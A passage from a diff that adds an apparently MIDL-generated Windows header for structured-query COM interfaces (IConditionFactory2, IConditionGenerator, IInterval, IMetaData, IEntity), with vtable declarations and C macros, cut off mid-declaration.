+    ( (This)->lpVtbl -> MakeAndOr(This,ct,peuSubs,fSimplify,ppcResult) ) 
+
+#define IQuerySolution_MakeLeaf(This,pszPropertyName,cop,pszValueType,ppropvar,pPropertyNameTerm,pOperationTerm,pValueTerm,fExpand,ppcResult)	\
+    ( (This)->lpVtbl -> MakeLeaf(This,pszPropertyName,cop,pszValueType,ppropvar,pPropertyNameTerm,pOperationTerm,pValueTerm,fExpand,ppcResult) ) 
+
+#define IQuerySolution_Resolve(This,pc,sqro,pstReferenceTime,ppcResolved)	\
+    ( (This)->lpVtbl -> Resolve(This,pc,sqro,pstReferenceTime,ppcResolved) ) 
+
+
+#define IQuerySolution_GetQuery(This,ppQueryNode,ppMainType)	\
+    ( (This)->lpVtbl -> GetQuery(This,ppQueryNode,ppMainType) ) 
+
+#define IQuerySolution_GetErrors(This,riid,ppParseErrors)	\
+    ( (This)->lpVtbl -> GetErrors(This,riid,ppParseErrors) ) 
+
+#define IQuerySolution_GetLexicalData(This,ppszInputString,ppTokens,plcid,ppWordBreaker)	\
+    ( (This)->lpVtbl -> GetLexicalData(This,ppszInputString,ppTokens,plcid,ppWordBreaker) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __IQuerySolution_INTERFACE_DEFINED__ */
+
+
+/* interface __MIDL_itf_structuredquery_0000_0003 */
+/* [local] */ 
+
+typedef /* [v1_enum] */ 
+enum CONDITION_CREATION_OPTIONS
+    {
+        CONDITION_CREATION_DEFAULT	= 0,
+        CONDITION_CREATION_NONE	= 0,
+        CONDITION_CREATION_SIMPLIFY	= 0x1,
+        CONDITION_CREATION_VECTOR_AND	= 0x2,
+        CONDITION_CREATION_VECTOR_OR	= 0x4,
+        CONDITION_CREATION_VECTOR_LEAF	= 0x8,
+        CONDITION_CREATION_USE_CONTENT_LOCALE	= 0x10
+    } 	CONDITION_CREATION_OPTIONS;
+
+DEFINE_ENUM_FLAG_OPERATORS(CONDITION_CREATION_OPTIONS);
+
+
+extern RPC_IF_HANDLE __MIDL_itf_structuredquery_0000_0003_v0_0_c_ifspec;
+extern RPC_IF_HANDLE __MIDL_itf_structuredquery_0000_0003_v0_0_s_ifspec;
+
+#ifndef __IConditionFactory2_INTERFACE_DEFINED__
+#define __IConditionFactory2_INTERFACE_DEFINED__
+
+/* interface IConditionFactory2 */
+/* [local][unique][object][uuid] */ 
+
+
+EXTERN_C const IID IID_IConditionFactory2;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("71D222E1-432F-429e-8C13-B6DAFDE5077A")
+    IConditionFactory2 : public IConditionFactory
+    {
+    public:
+        virtual HRESULT STDMETHODCALLTYPE CreateTrueFalse( 
+            /* [in] */ BOOL fVal,
+            /* [in] */ CONDITION_CREATION_OPTIONS cco,
+            /* [in] */ REFIID riid,
+            /* [iid_is][out] */ void **ppv) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE CreateNegation( 
+            /* [in] */ ICondition *pcSub,
+            /* [in] */ CONDITION_CREATION_OPTIONS cco,
+            /* [in] */ REFIID riid,
+            /* [iid_is][out] */ void **ppv) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE CreateCompoundFromObjectArray( 
+            /* [in] */ CONDITION_TYPE ct,
+            /* [annotation][in] */ 
+            _In_opt_  IObjectArray *poaSubs,
+            /* [in] */ CONDITION_CREATION_OPTIONS cco,
+            /* [in] */ REFIID riid,
+            /* [iid_is][out] */ void **ppv) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE CreateCompoundFromArray( 
+            /* [in] */ CONDITION_TYPE ct,
+            /* [size_is][in] */ ICondition **ppcondSubs,
+            /* [in] */ ULONG cSubs,
+            /* [in] */ CONDITION_CREATION_OPTIONS cco,
+            /* [in] */ REFIID riid,
+            /* [iid_is][out] */ void **ppv) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE CreateStringLeaf( 
+            /* [in] */ REFPROPERTYKEY propkey,
+            /* [in] */ CONDITION_OPERATION cop,
+            /* [in] */ LPCWSTR pszValue,
+            /* [annotation][in] */ 
+            _In_opt_  LPCWSTR pszLocaleName,
+            /* [in] */ CONDITION_CREATION_OPTIONS cco,
+            /* [in] */ REFIID riid,
+            /* [iid_is][out] */ void **ppv) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE CreateIntegerLeaf( 
+            /* [in] */ REFPROPERTYKEY propkey,
+            /* [in] */ CONDITION_OPERATION cop,
+            /* [in] */ INT32 lValue,
+            /* [in] */ CONDITION_CREATION_OPTIONS cco,
+            /* [in] */ REFIID riid,
+            /* [iid_is][out] */ void **ppv) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE CreateBooleanLeaf( 
+            /* [in] */ REFPROPERTYKEY propkey,
+            /* [in] */ CONDITION_OPERATION cop,
+            /* [in] */ BOOL fValue,
+            /* [in] */ CONDITION_CREATION_OPTIONS cco,
+            /* [in] */ REFIID riid,
+            /* [iid_is][out] */ void **ppv) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE CreateLeaf( 
+            /* [in] */ REFPROPERTYKEY propkey,
+            /* [in] */ CONDITION_OPERATION cop,
+            /* [in] */ REFPROPVARIANT propvar,
+            /* [annotation][in] */ 
+            _In_opt_  LPCWSTR pszSemanticType,
+            /* [annotation][in] */ 
+            _In_opt_  LPCWSTR pszLocaleName,
+            /* [annotation][in] */ 
+            _In_opt_  IRichChunk *pPropertyNameTerm,
+            /* [annotation][in] */ 
+            _In_opt_  IRichChunk *pOperationTerm,
+            /* [annotation][in] */ 
+            _In_opt_  IRichChunk *pValueTerm,
+            /* [in] */ CONDITION_CREATION_OPTIONS cco,
+            /* [in] */ REFIID riid,
+            /* [iid_is][out] */ void **ppv) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE ResolveCondition( 
+            /* [in] */ ICondition *pc,
+            /* [in] */ STRUCTURED_QUERY_RESOLVE_OPTION sqro,
+            /* [annotation][in] */ 
+            _In_opt_  const SYSTEMTIME *pstReferenceTime,
+            /* [in] */ REFIID riid,
+            /* [iid_is][out] */ void **ppv) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct IConditionFactory2Vtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            IConditionFactory2 * This,
+            /* [in] */ REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            IConditionFactory2 * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            IConditionFactory2 * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *MakeNot )( 
+            IConditionFactory2 * This,
+            /* [in] */ ICondition *pcSub,
+            /* [in] */ BOOL fSimplify,
+            /* [retval][out] */ ICondition **ppcResult);
+        
+        HRESULT ( STDMETHODCALLTYPE *MakeAndOr )( 
+            IConditionFactory2 * This,
+            /* [in] */ CONDITION_TYPE ct,
+            /* [in] */ IEnumUnknown *peuSubs,
+            /* [in] */ BOOL fSimplify,
+            /* [retval][out] */ ICondition **ppcResult);
+        
+        HRESULT ( STDMETHODCALLTYPE *MakeLeaf )( 
+            IConditionFactory2 * This,
+            /* [unique][in] */ LPCWSTR pszPropertyName,
+            /* [in] */ CONDITION_OPERATION cop,
+            /* [unique][in] */ LPCWSTR pszValueType,
+            /* [in] */ const PROPVARIANT *ppropvar,
+            /* [in] */ IRichChunk *pPropertyNameTerm,
+            /* [in] */ IRichChunk *pOperationTerm,
+            /* [in] */ IRichChunk *pValueTerm,
+            /* [in] */ BOOL fExpand,
+            /* [retval][out] */ ICondition **ppcResult);
+        
+        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Resolve )( 
+            IConditionFactory2 * This,
+            /* [annotation][in] */ 
+            _In_  ICondition *pc,
+            /* [annotation][in] */ 
+            _In_  STRUCTURED_QUERY_RESOLVE_OPTION sqro,
+            /* [annotation][ref][in] */ 
+            _In_opt_  const SYSTEMTIME *pstReferenceTime,
+            /* [annotation][retval][out] */ 
+            _Out_  ICondition **ppcResolved);
+        
+        HRESULT ( STDMETHODCALLTYPE *CreateTrueFalse )( 
+            IConditionFactory2 * This,
+            /* [in] */ BOOL fVal,
+            /* [in] */ CONDITION_CREATION_OPTIONS cco,
+            /* [in] */ REFIID riid,
+            /* [iid_is][out] */ void **ppv);
+        
+        HRESULT ( STDMETHODCALLTYPE *CreateNegation )( 
+            IConditionFactory2 * This,
+            /* [in] */ ICondition *pcSub,
+            /* [in] */ CONDITION_CREATION_OPTIONS cco,
+            /* [in] */ REFIID riid,
+            /* [iid_is][out] */ void **ppv);
+        
+        HRESULT ( STDMETHODCALLTYPE *CreateCompoundFromObjectArray )( 
+            IConditionFactory2 * This,
+            /* [in] */ CONDITION_TYPE ct,
+            /* [annotation][in] */ 
+            _In_opt_  IObjectArray *poaSubs,
+            /* [in] */ CONDITION_CREATION_OPTIONS cco,
+            /* [in] */ REFIID riid,
+            /* [iid_is][out] */ void **ppv);
+        
+        HRESULT ( STDMETHODCALLTYPE *CreateCompoundFromArray )( 
+            IConditionFactory2 * This,
+            /* [in] */ CONDITION_TYPE ct,
+            /* [size_is][in] */ ICondition **ppcondSubs,
+            /* [in] */ ULONG cSubs,
+            /* [in] */ CONDITION_CREATION_OPTIONS cco,
+            /* [in] */ REFIID riid,
+            /* [iid_is][out] */ void **ppv);
+        
+        HRESULT ( STDMETHODCALLTYPE *CreateStringLeaf )( 
+            IConditionFactory2 * This,
+            /* [in] */ REFPROPERTYKEY propkey,
+            /* [in] */ CONDITION_OPERATION cop,
+            /* [in] */ LPCWSTR pszValue,
+            /* [annotation][in] */ 
+            _In_opt_  LPCWSTR pszLocaleName,
+            /* [in] */ CONDITION_CREATION_OPTIONS cco,
+            /* [in] */ REFIID riid,
+            /* [iid_is][out] */ void **ppv);
+        
+        HRESULT ( STDMETHODCALLTYPE *CreateIntegerLeaf )( 
+            IConditionFactory2 * This,
+            /* [in] */ REFPROPERTYKEY propkey,
+            /* [in] */ CONDITION_OPERATION cop,
+            /* [in] */ INT32 lValue,
+            /* [in] */ CONDITION_CREATION_OPTIONS cco,
+            /* [in] */ REFIID riid,
+            /* [iid_is][out] */ void **ppv);
+        
+        HRESULT ( STDMETHODCALLTYPE *CreateBooleanLeaf )( 
+            IConditionFactory2 * This,
+            /* [in] */ REFPROPERTYKEY propkey,
+            /* [in] */ CONDITION_OPERATION cop,
+            /* [in] */ BOOL fValue,
+            /* [in] */ CONDITION_CREATION_OPTIONS cco,
+            /* [in] */ REFIID riid,
+            /* [iid_is][out] */ void **ppv);
+        
+        HRESULT ( STDMETHODCALLTYPE *CreateLeaf )( 
+            IConditionFactory2 * This,
+            /* [in] */ REFPROPERTYKEY propkey,
+            /* [in] */ CONDITION_OPERATION cop,
+            /* [in] */ REFPROPVARIANT propvar,
+            /* [annotation][in] */ 
+            _In_opt_  LPCWSTR pszSemanticType,
+            /* [annotation][in] */ 
+            _In_opt_  LPCWSTR pszLocaleName,
+            /* [annotation][in] */ 
+            _In_opt_  IRichChunk *pPropertyNameTerm,
+            /* [annotation][in] */ 
+            _In_opt_  IRichChunk *pOperationTerm,
+            /* [annotation][in] */ 
+            _In_opt_  IRichChunk *pValueTerm,
+            /* [in] */ CONDITION_CREATION_OPTIONS cco,
+            /* [in] */ REFIID riid,
+            /* [iid_is][out] */ void **ppv);
+        
+        HRESULT ( STDMETHODCALLTYPE *ResolveCondition )( 
+            IConditionFactory2 * This,
+            /* [in] */ ICondition *pc,
+            /* [in] */ STRUCTURED_QUERY_RESOLVE_OPTION sqro,
+            /* [annotation][in] */ 
+            _In_opt_  const SYSTEMTIME *pstReferenceTime,
+            /* [in] */ REFIID riid,
+            /* [iid_is][out] */ void **ppv);
+        
+        END_INTERFACE
+    } IConditionFactory2Vtbl;
+
+    interface IConditionFactory2
+    {
+        CONST_VTBL struct IConditionFactory2Vtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define IConditionFactory2_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define IConditionFactory2_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define IConditionFactory2_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define IConditionFactory2_MakeNot(This,pcSub,fSimplify,ppcResult)	\
+    ( (This)->lpVtbl -> MakeNot(This,pcSub,fSimplify,ppcResult) ) 
+
+#define IConditionFactory2_MakeAndOr(This,ct,peuSubs,fSimplify,ppcResult)	\
+    ( (This)->lpVtbl -> MakeAndOr(This,ct,peuSubs,fSimplify,ppcResult) ) 
+
+#define IConditionFactory2_MakeLeaf(This,pszPropertyName,cop,pszValueType,ppropvar,pPropertyNameTerm,pOperationTerm,pValueTerm,fExpand,ppcResult)	\
+    ( (This)->lpVtbl -> MakeLeaf(This,pszPropertyName,cop,pszValueType,ppropvar,pPropertyNameTerm,pOperationTerm,pValueTerm,fExpand,ppcResult) ) 
+
+#define IConditionFactory2_Resolve(This,pc,sqro,pstReferenceTime,ppcResolved)	\
+    ( (This)->lpVtbl -> Resolve(This,pc,sqro,pstReferenceTime,ppcResolved) ) 
+
+
+#define IConditionFactory2_CreateTrueFalse(This,fVal,cco,riid,ppv)	\
+    ( (This)->lpVtbl -> CreateTrueFalse(This,fVal,cco,riid,ppv) ) 
+
+#define IConditionFactory2_CreateNegation(This,pcSub,cco,riid,ppv)	\
+    ( (This)->lpVtbl -> CreateNegation(This,pcSub,cco,riid,ppv) ) 
+
+#define IConditionFactory2_CreateCompoundFromObjectArray(This,ct,poaSubs,cco,riid,ppv)	\
+    ( (This)->lpVtbl -> CreateCompoundFromObjectArray(This,ct,poaSubs,cco,riid,ppv) ) 
+
+#define IConditionFactory2_CreateCompoundFromArray(This,ct,ppcondSubs,cSubs,cco,riid,ppv)	\
+    ( (This)->lpVtbl -> CreateCompoundFromArray(This,ct,ppcondSubs,cSubs,cco,riid,ppv) ) 
+
+#define IConditionFactory2_CreateStringLeaf(This,propkey,cop,pszValue,pszLocaleName,cco,riid,ppv)	\
+    ( (This)->lpVtbl -> CreateStringLeaf(This,propkey,cop,pszValue,pszLocaleName,cco,riid,ppv) ) 
+
+#define IConditionFactory2_CreateIntegerLeaf(This,propkey,cop,lValue,cco,riid,ppv)	\
+    ( (This)->lpVtbl -> CreateIntegerLeaf(This,propkey,cop,lValue,cco,riid,ppv) ) 
+
+#define IConditionFactory2_CreateBooleanLeaf(This,propkey,cop,fValue,cco,riid,ppv)	\
+    ( (This)->lpVtbl -> CreateBooleanLeaf(This,propkey,cop,fValue,cco,riid,ppv) ) 
+
+#define IConditionFactory2_CreateLeaf(This,propkey,cop,propvar,pszSemanticType,pszLocaleName,pPropertyNameTerm,pOperationTerm,pValueTerm,cco,riid,ppv)	\
+    ( (This)->lpVtbl -> CreateLeaf(This,propkey,cop,propvar,pszSemanticType,pszLocaleName,pPropertyNameTerm,pOperationTerm,pValueTerm,cco,riid,ppv) ) 
+
+#define IConditionFactory2_ResolveCondition(This,pc,sqro,pstReferenceTime,riid,ppv)	\
+    ( (This)->lpVtbl -> ResolveCondition(This,pc,sqro,pstReferenceTime,riid,ppv) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __IConditionFactory2_INTERFACE_DEFINED__ */
+
+
+#ifndef __IConditionGenerator_INTERFACE_DEFINED__
+#define __IConditionGenerator_INTERFACE_DEFINED__
+
+/* interface IConditionGenerator */
+/* [unique][uuid][object] */ 
+
+
+EXTERN_C const IID IID_IConditionGenerator;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("92D2CC58-4386-45a3-B98C-7E0CE64A4117")
+    IConditionGenerator : public IUnknown
+    {
+    public:
+        virtual HRESULT STDMETHODCALLTYPE Initialize( 
+            /* [in] */ __RPC__in_opt ISchemaProvider *pSchemaProvider) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE RecognizeNamedEntities( 
+            /* [in] */ __RPC__in LPCWSTR pszInputString,
+            /* [in] */ LCID lcidUserLocale,
+            /* [in] */ __RPC__in_opt ITokenCollection *pTokenCollection,
+            /* [out][in] */ __RPC__inout_opt INamedEntityCollector *pNamedEntities) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE GenerateForLeaf( 
+            /* [in] */ __RPC__in_opt IConditionFactory *pConditionFactory,
+            /* [unique][in] */ __RPC__in_opt LPCWSTR pszPropertyName,
+            /* [in] */ CONDITION_OPERATION cop,
+            /* [unique][in] */ __RPC__in_opt LPCWSTR pszValueType,
+            /* [in] */ __RPC__in LPCWSTR pszValue,
+            /* [unique][in] */ __RPC__in_opt LPCWSTR pszValue2,
+            /* [in] */ __RPC__in_opt IRichChunk *pPropertyNameTerm,
+            /* [in] */ __RPC__in_opt IRichChunk *pOperationTerm,
+            /* [in] */ __RPC__in_opt IRichChunk *pValueTerm,
+            /* [in] */ BOOL automaticWildcard,
+            /* [out] */ __RPC__out BOOL *pNoStringQuery,
+            /* [retval][out] */ __RPC__deref_out_opt ICondition **ppQueryExpression) = 0;
+        
+        virtual /* [local] */ HRESULT STDMETHODCALLTYPE DefaultPhrase( 
+            /* [unique][in] */ LPCWSTR pszValueType,
+            /* [in] */ const PROPVARIANT *ppropvar,
+            /* [in] */ BOOL fUseEnglish,
+            /* [retval][annotation][out] */ 
+            _Outptr_opt_  LPWSTR *ppszPhrase) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct IConditionGeneratorVtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in IConditionGenerator * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in IConditionGenerator * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in IConditionGenerator * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *Initialize )( 
+            __RPC__in IConditionGenerator * This,
+            /* [in] */ __RPC__in_opt ISchemaProvider *pSchemaProvider);
+        
+        HRESULT ( STDMETHODCALLTYPE *RecognizeNamedEntities )( 
+            __RPC__in IConditionGenerator * This,
+            /* [in] */ __RPC__in LPCWSTR pszInputString,
+            /* [in] */ LCID lcidUserLocale,
+            /* [in] */ __RPC__in_opt ITokenCollection *pTokenCollection,
+            /* [out][in] */ __RPC__inout_opt INamedEntityCollector *pNamedEntities);
+        
+        HRESULT ( STDMETHODCALLTYPE *GenerateForLeaf )( 
+            __RPC__in IConditionGenerator * This,
+            /* [in] */ __RPC__in_opt IConditionFactory *pConditionFactory,
+            /* [unique][in] */ __RPC__in_opt LPCWSTR pszPropertyName,
+            /* [in] */ CONDITION_OPERATION cop,
+            /* [unique][in] */ __RPC__in_opt LPCWSTR pszValueType,
+            /* [in] */ __RPC__in LPCWSTR pszValue,
+            /* [unique][in] */ __RPC__in_opt LPCWSTR pszValue2,
+            /* [in] */ __RPC__in_opt IRichChunk *pPropertyNameTerm,
+            /* [in] */ __RPC__in_opt IRichChunk *pOperationTerm,
+            /* [in] */ __RPC__in_opt IRichChunk *pValueTerm,
+            /* [in] */ BOOL automaticWildcard,
+            /* [out] */ __RPC__out BOOL *pNoStringQuery,
+            /* [retval][out] */ __RPC__deref_out_opt ICondition **ppQueryExpression);
+        
+        /* [local] */ HRESULT ( STDMETHODCALLTYPE *DefaultPhrase )( 
+            IConditionGenerator * This,
+            /* [unique][in] */ LPCWSTR pszValueType,
+            /* [in] */ const PROPVARIANT *ppropvar,
+            /* [in] */ BOOL fUseEnglish,
+            /* [retval][annotation][out] */ 
+            _Outptr_opt_  LPWSTR *ppszPhrase);
+        
+        END_INTERFACE
+    } IConditionGeneratorVtbl;
+
+    interface IConditionGenerator
+    {
+        CONST_VTBL struct IConditionGeneratorVtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define IConditionGenerator_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define IConditionGenerator_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define IConditionGenerator_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define IConditionGenerator_Initialize(This,pSchemaProvider)	\
+    ( (This)->lpVtbl -> Initialize(This,pSchemaProvider) ) 
+
+#define IConditionGenerator_RecognizeNamedEntities(This,pszInputString,lcidUserLocale,pTokenCollection,pNamedEntities)	\
+    ( (This)->lpVtbl -> RecognizeNamedEntities(This,pszInputString,lcidUserLocale,pTokenCollection,pNamedEntities) ) 
+
+#define IConditionGenerator_GenerateForLeaf(This,pConditionFactory,pszPropertyName,cop,pszValueType,pszValue,pszValue2,pPropertyNameTerm,pOperationTerm,pValueTerm,automaticWildcard,pNoStringQuery,ppQueryExpression)	\
+    ( (This)->lpVtbl -> GenerateForLeaf(This,pConditionFactory,pszPropertyName,cop,pszValueType,pszValue,pszValue2,pPropertyNameTerm,pOperationTerm,pValueTerm,automaticWildcard,pNoStringQuery,ppQueryExpression) ) 
+
+#define IConditionGenerator_DefaultPhrase(This,pszValueType,ppropvar,fUseEnglish,ppszPhrase)	\
+    ( (This)->lpVtbl -> DefaultPhrase(This,pszValueType,ppropvar,fUseEnglish,ppszPhrase) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __IConditionGenerator_INTERFACE_DEFINED__ */
+
+
+#ifndef __IInterval_INTERFACE_DEFINED__
+#define __IInterval_INTERFACE_DEFINED__
+
+/* interface IInterval */
+/* [unique][uuid][object] */ 
+
+
+EXTERN_C const IID IID_IInterval;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("6BF0A714-3C18-430b-8B5D-83B1C234D3DB")
+    IInterval : public IUnknown
+    {
+    public:
+        virtual HRESULT STDMETHODCALLTYPE GetLimits( 
+            /* [out] */ __RPC__out INTERVAL_LIMIT_KIND *pilkLower,
+            /* [out] */ __RPC__out PROPVARIANT *ppropvarLower,
+            /* [out] */ __RPC__out INTERVAL_LIMIT_KIND *pilkUpper,
+            /* [out] */ __RPC__out PROPVARIANT *ppropvarUpper) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct IIntervalVtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in IInterval * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in IInterval * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in IInterval * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetLimits )( 
+            __RPC__in IInterval * This,
+            /* [out] */ __RPC__out INTERVAL_LIMIT_KIND *pilkLower,
+            /* [out] */ __RPC__out PROPVARIANT *ppropvarLower,
+            /* [out] */ __RPC__out INTERVAL_LIMIT_KIND *pilkUpper,
+            /* [out] */ __RPC__out PROPVARIANT *ppropvarUpper);
+        
+        END_INTERFACE
+    } IIntervalVtbl;
+
+    interface IInterval
+    {
+        CONST_VTBL struct IIntervalVtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define IInterval_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define IInterval_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define IInterval_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define IInterval_GetLimits(This,pilkLower,ppropvarLower,pilkUpper,ppropvarUpper)	\
+    ( (This)->lpVtbl -> GetLimits(This,pilkLower,ppropvarLower,pilkUpper,ppropvarUpper) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __IInterval_INTERFACE_DEFINED__ */
+
+
+#ifndef __IMetaData_INTERFACE_DEFINED__
+#define __IMetaData_INTERFACE_DEFINED__
+
+/* interface IMetaData */
+/* [unique][uuid][object][helpstring] */ 
+
+
+EXTERN_C const IID IID_IMetaData;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("780102B0-C43B-4876-BC7B-5E9BA5C88794")
+    IMetaData : public IUnknown
+    {
+    public:
+        virtual /* [local] */ HRESULT STDMETHODCALLTYPE GetData( 
+            /* [annotation][out] */ 
+            _Outptr_opt_  LPWSTR *ppszKey,
+            /* [annotation][out] */ 
+            _Outptr_opt_  LPWSTR *ppszValue) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct IMetaDataVtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in IMetaData * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in IMetaData * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in IMetaData * This);
+        
+        /* [local] */ HRESULT ( STDMETHODCALLTYPE *GetData )( 
+            IMetaData * This,
+            /* [annotation][out] */ 
+            _Outptr_opt_  LPWSTR *ppszKey,
+            /* [annotation][out] */ 
+            _Outptr_opt_  LPWSTR *ppszValue);
+        
+        END_INTERFACE
+    } IMetaDataVtbl;
+
+    interface IMetaData
+    {
+        CONST_VTBL struct IMetaDataVtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define IMetaData_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define IMetaData_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define IMetaData_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define IMetaData_GetData(This,ppszKey,ppszValue)	\
+    ( (This)->lpVtbl -> GetData(This,ppszKey,ppszValue) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __IMetaData_INTERFACE_DEFINED__ */
+
+
+/* interface __MIDL_itf_structuredquery_0000_0007 */
+/* [local] */ 
+
+
+
+
+extern RPC_IF_HANDLE __MIDL_itf_structuredquery_0000_0007_v0_0_c_ifspec;
+extern RPC_IF_HANDLE __MIDL_itf_structuredquery_0000_0007_v0_0_s_ifspec;
+
+#ifndef __IEntity_INTERFACE_DEFINED__
+#define __IEntity_INTERFACE_DEFINED__
+
+/* interface IEntity */
+/* [unique][object][uuid][helpstring] */ 
+
+
+EXTERN_C const IID IID_IEntity;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("24264891-E80B-4fd3-B7CE-4FF2FAE8931F")
+    IEntity : public IUnknown
+    {
+    public:
+        virtual /* [local] */ HRESULT STDMETHODCALLTYPE Name( 
+            /* [retval][annotation][out] */ 
+            _Outptr_opt_  LPWSTR *ppszName) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE Base( 
+            /* [retval][out] */ __RPC__deref_out_opt IEntity **pBaseEntity) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE Relationships( 
+            /* [in] */ __RPC__in REFIID riid,
+            /* [iid_is][retval][out] */ __RPC__deref_out_opt void **pRelationships) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE GetRelationship( 
+            /* [in] */ __RPC__in LPCWSTR pszRelationName,
+            /* [retval][out] */ __RPC__deref_out_opt IRelationship **pRelationship) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE MetaData( 
+            /* [in] */ __RPC__in REFIID riid,
+            /* [iid_is][retval][out] */ __RPC__deref_out_opt void **pMetaData) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE NamedEntities( 
+            /* [in] */ __RPC__in REFIID riid,
+            /* [iid_is][retval][out] */ __RPC__deref_out_opt void **pNamedEntities) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE GetNamedEntity( 
+            /* [in] */ __RPC__in LPCWSTR pszValue,
+            /* [retval][out] */ __RPC__deref_out_opt INamedEntity **ppNamedEntity) = 0;
+        
+        virtual /* [local] */ HRESULT STDMETHODCALLTYPE DefaultPhrase( 
+            /* [retval][annotation][out] */ 
+            _Outptr_opt_  LPWSTR *ppszPhrase) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct IEntityVtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in IEntity * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in IEntity * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in IEntity * This);
+        
+        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Name )( 
+            IEntity * This,
+            /* [retval][annotation][out] */ 
+            _Outptr_opt_  LPWSTR *ppszName);
+        
+        HRESULT ( STDMETHODCALLTYPE *Base )( 
